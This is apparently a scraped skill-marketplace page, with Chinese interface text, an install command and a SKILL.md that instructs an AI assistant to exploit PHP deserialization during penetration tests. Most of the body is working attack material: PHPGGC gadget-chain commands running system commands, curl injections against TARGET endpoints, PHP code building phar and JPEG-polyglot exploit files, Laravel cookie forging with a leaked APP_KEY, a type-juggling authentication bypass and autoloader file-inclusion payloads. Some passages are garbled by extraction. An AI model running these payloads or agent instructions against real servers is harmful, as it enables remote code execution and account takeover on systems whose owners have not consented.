用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill deserialization-php命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
基于 SOC 职业分类
正在显示 SKILL.md
| name | deserialization-php |
| description | Exploit PHP deserialization vulnerabilities during authorized penetration testing. |
| keywords | ["php deserialization","php object injection","unserialize exploit","__wakeup exploit","__destruct exploit","phar deserialization","phar polyglot","PHPGGC","Laravel deserialization","PHP POP chain","php magic methods exploit","type juggling auth bypass"] |
| tools | ["phpggc","burpsuite","exiftool"] |
| opsec | medium |
You are helping a penetration tester exploit PHP deserialization
vulnerabilities. The target application passes untrusted data to
unserialize() or processes attacker-controlled phar:// streams, enabling
object injection and remote code execution via gadget chains. All testing is
under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[deserialization-php] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
unserialize() on user input, or filesystem
function accepting phar://)phpggc (git clone https://github.com/ambionics/phpggc),
Burp Suite for request interceptionIf not already provided, determine:
| Pattern | Meaning | Example |
|---|---|---|
O:<len>:"<class>" | Serialized object | O:8:"stdClass":1:{s:1:"a";s:1:"b";} |
a:<count>:{...} | Serialized array | a:2:{i:0;s:3:"foo";i:1;s:3:"bar";} |
s:<len>:"<value>" | Serialized string | s:5:"hello"; |
Tz (base64) | Base64-encoded serialized | Decode to check for O: or a: |
Entry point:
Framework — check for Laravel, Symfony, WordPress, Magento, CakePHP, Yii, CodeIgniter (determines available PHPGGC chains)
PHP version — PHP 7.0+ supports allowed_classes option in
unserialize(), PHP 7.4+ has __serialize()/__unserialize()
Skip if context was already provided.
If the application has vulnerable classes with exploitable magic methods:
# Magic methods triggered during deserialization:
# __wakeup() — called when object is unserialized
# __destruct() — called when object is garbage collected (most reliable)
# __toString() — called when object is cast to string
# __call() — called when undefined method is invoked
# __get() — called when undefined property is read
Test payload — modify object properties:
# Original serialized session (example)
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:0;}
# Modified — set admin=true
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:1;}
Exploit loose comparison (==) in PHP:
# If auth check uses: if ($data['password'] == $storedPassword)
# Send boolean true — true == "any_string" is true in PHP
a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}
# Magic hash collision (md5/sha1 starting with 0e — treated as 0 in ==)
# md5('240610708') starts with 0e → 0e... == 0e... is true
PHP serialization encodes visibility with null bytes:
# Public property
s:4:"name";s:5:"value";
# Protected property (prefix: \0*\0)
s:7:"\0*\0name";s:5:"value";
# Private property (prefix: \0ClassName\0)
s:14:"\0MyClass\0name";s:5:"value";
PHPGGC generates POP chains for common PHP frameworks and libraries.
# List all available gadget chains
phpggc --list
# Common RCE chains
phpggc Monolog/RCE1 system id # Monolog logging
phpggc Monolog/RCE2 system id # Monolog alternative
phpggc Laravel/RCE9 system id # Laravel framework
phpggc Laravel/RCE13 system id # Laravel alternative
phpggc Symfony/RCE4 system id # Symfony framework
phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/data # File write
# Output formats
phpggc Monolog/RCE1 system id -s # Serialized string
phpggc Monolog/RCE1 system id -b # Base64 encoded
phpggc Monolog/RCE1 system id -u # URL encoded
phpggc Monolog/RCE1 system id -p phar -o /tmp/exploit.phar # PHAR format
# Inject into parameter
curl -X POST https://TARGET/endpoint \
-d "data=$(phpggc Monolog/RCE1 system 'id' -u)"
Framework → chain selection:
| Framework/Library | Chains | Notes |
|---|---|---|
| Laravel | RCE9, RCE13, RCE15 | Requires APP_KEY for encrypted cookies |
| Symfony | RCE4+ | Common in Symfony-based apps |
| Monolog | RCE1, RCE2 | Widely used logging library |
| Guzzle | FW1, Info1 | HTTP client — file write chains |
| SwiftMailer | FW1-4 | Email library — file write |
| Doctrine | RCE1-2 | ORM — RCE chains |
| WordPress | Various | Plugin-dependent gadgets |
| CakePHP | RCE1 | Framework-specific |
| Yii | RCE1 | Framework-specific |
If the Laravel APP_KEY is known (from .env disclosure, git leak, debug
page, etc.), encrypted cookies can be forged:
# Generate gadget chain
phpggc Laravel/RCE13 system 'id' -b -f
# Encrypt with laravel-crypto-killer
python3 laravel_crypto_killer.py encrypt \
-k "base64:APP_KEY_HERE" \
-v "$(phpggc Laravel/RCE13 system id -b -f)"
# Inject as Laravel session cookie or XSRF-TOKEN
APP_KEY leak sources: .env via path traversal, debug error pages
(APP_DEBUG=true), git repository exposure, backup files, phpinfo().
When PHP filesystem functions process a phar:// path, the PHAR metadata
is automatically deserialized — even with functions like file_exists(),
filesize(), fopen(), is_file(), md5_file(), file_get_contents().
<?php
// create_phar.php — run with: php --define phar.readonly=0 create_phar.php
class VULN_CLASS { // Replace with target's vulnerable class
public $cmd = 'system("id");';
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new VULN_CLASS());
$phar->stopBuffering();
?>
Prepend image magic bytes to make the PHAR appear as a valid image:
<?php
// JPEG polyglot — passes image validation, works as PHAR
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>"); // JPEG header
$phar->setMetadata(new VULN_CLASS());
$phar->stopBuffering();
// Rename to .jpg for upload
rename('exploit.phar', 'exploit.jpg');
?>
Other magic byte options: GIF89a (GIF), \x89PNG\r\n\x1a\n (PNG).
# Generate PHAR with framework gadget chain
phpggc Monolog/RCE1 system id -p phar -o exploit.phar
# Create JPEG polyglot PHAR with PHPGGC
phpggc Monolog/RCE1 system id -p phar -pp GIF -o exploit.gif
# If app has: file_exists($_GET['file'])
curl "https://TARGET/check?file=phar:///var/www/uploads/exploit.jpg"
# If app has: getimagesize($_GET['url'])
curl "https://TARGET/resize?url=phar:///var/www/uploads/exploit.jpg"
When the target has spl_autoload_register() and you can deserialize
objects of non-existent classes, the autoloader attempts to load them —
potentially including arbitrary files.
// If autoloader converts underscores to directory separators:
// spl_autoload_register(function($name) {
// require '/' . str_replace('_', '/', $name) . '.php';
// });
// Payload to load /tmp/evil.php via autoloader:
O:8:"tmp_evil":0:{}
// Load another webapp's composer autoloader (gains access to its gadgets):
O:28:"www_frontend_vendor_autoload":0:{}
Chain technique: Load another app's autoloader via deserialization, then exploit gadgets from that app's dependencies (e.g., Guzzle FileCookieJar for file write).
Laravel/RCE9, RCE13, RCE15)unserialize() uses allowed_classes restriction (PHP 7.0+)allowed_classes is set, only whitelisted classes instantiate — try
phar:// deserialization instead (bypasses allowed_classes)phar:// wrapper is disabled in php.ini
(allow_url_fopen does not affect phar)phar:// with relative and absolute pathswp_salt() for cookie signatures== behavior for string-number comparison ("0" == ""
is now false)===)== comparison